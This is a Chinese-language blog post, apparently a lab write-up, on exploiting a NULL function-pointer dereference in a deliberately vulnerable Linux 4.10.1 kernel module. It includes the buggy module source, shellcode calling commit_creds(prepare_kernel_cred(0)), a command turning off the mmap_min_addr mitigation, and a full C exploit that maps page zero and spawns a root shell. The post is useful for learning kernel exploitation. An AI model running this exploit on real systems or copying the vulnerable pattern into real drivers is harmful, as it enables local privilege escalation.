NULL Dereference

环境

内核代码:4.10.1

漏洞代码

#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/proc_fs.h>
void (*my_funptr)(void);
int bug1_write(struct file *file,const char *buf,unsigned long len)
{
      my_funptr();
      return len;
}
static int __init null_dereference_init(void)
{
      printk(KERN_ALERT "null_dereference driver init!n");
      create_proc_entry("bug1",0666,0)->write_proc = bug1_write;
      return 0;
}
static void __exit null_dereference_exit(void)
{
      printk(KERN_ALERT "null_dereference driver exitn");
}
module_init(null_dereference_init);
module_exit(null_dereference_exit);

在我使用的内核版本 create_proc_entry 已经被proc_create 替换,所以内核版本4.10.1中,代码为:

#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/proc_fs.h>
void (*my_funptr)(void);
ssize_t bug1_write(struct file * file, const char __user * buff, size_t st, loff_t * loft){
  my_funptr();
  return st;
}

static struct file_operations myops = {
.write = bug1_write
};

static int null_dereference_init(void)
{
  printk(KERN_ALERT "null_dereference driver init!\n");
  proc_create("bug1", 0666, 0 , &myops);
  return 0;
}

static void null_dereference_exit(void)
{
  printk(KERN_ALERT "null_dereference driver exit\n");
}

module_init(null_dereference_init);
module_exit(null_dereference_exit);
MODULE_LICENSE("Dual BSD");

Makefile

obj-m := null_dereference.o
KERNELDR := /home/pareto/My_Kernel-4.10.1-master/
cflags := "-Wno-err"
PWD := $(shell pwd)
modules:
$(MAKE) -C $(KERNELDR) M=$(PWD) modules
modules_install:
$(MAKE) -C $(KERNELDR) M=$(PWD) modules_install
clean:
$(MAKE) -C $(KERNELDR) M=$(PWD) clean

利用空函数指针指向0这个地址,在用户态中分配从0开始的空间并写入shellcode,来达到任意地址调用。利用下列函数实现提权:

commit_creds ( prepare_kernel_cred (0));

获取提权函数的地址。(关闭kaslr)。

image-20200908164501144

shellcode:

xor %eax %eax
call 0xc108a7e4
call 0xc108a5a6
ret
踩坑1 内核已经使用mmap_min_addr作为缓解措施mmap_min_addr为4096,需要设置下mmap_min_addr。
# sysctl -w vm.mmap_min_addr="0"

踩坑2 我利用as指令将汇编指令转换为机器码 ,但是as演了我一手,出现了指令不对的情况手动修改末尾一个字节。

image-20200908170519175

Exp:

#include <stdio.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <string.h>
char payload[30]= "\x31\xc0\xe8\xdd\xa7\x08\xc6\xe8\x9a\xa5\x08\xc6\xc3";

int main(void){
mmap(0,4096, PROT_READ | PROT_WRITE | PROT_EXEC , MAP_FIXED | MAP_PRIVATE |MAP_ANONYMOUS,-1,4096);
memcpy(0,payload ,sizeof(payload));
int fd = open("/proc/bug1",O_WRONLY);
write(fd,"muhe",4);
system("/bin/sh");
return 0;
}

终于提权成功,看了教程还把别人的坑重新踩一边的人,心累。

image-20200908164004487

2.6.32 内核调试断点失败

打断点失败,原因未知降了优化,加载了vmlinux 关闭kaslr,不晓得具体原因。因为调试功能都有问题那么还是选择使用4.10.1内核版本。

记录下失败过程,内核编译过程,降低优化等级为O1。

make menuconfig
make

busybux 静态编译

根文件系统制作busybux/_install 目录

find . | cpio -o --format=newc > ../rootfs.img

启动命令

qemu-system-i386 -kernel ~/Desktop/linux-2.6.32.1/arch/x86/boot/bzImage -initrd ../rootfs.img -append "nokaslr" -S -s

分析结束但是也遗留了一些问题

  1. 提权使用的函数是怎么得到的 ,猜测用户态函数setuid() 的内核部分可以得到答案。
  2. kaslr 的变化方式是怎么样,开启kaslr后,内核地址是X000000 + base

https://devarea.com/?s=proc_create#.X087lsgza9I

https://www.anquanke.com/post/id/85840


pareto

未来什么方向不管,先做自己喜欢做的事情。

0 条评论

发表回复

您的电子邮箱地址不会被公开。 必填项已用*标注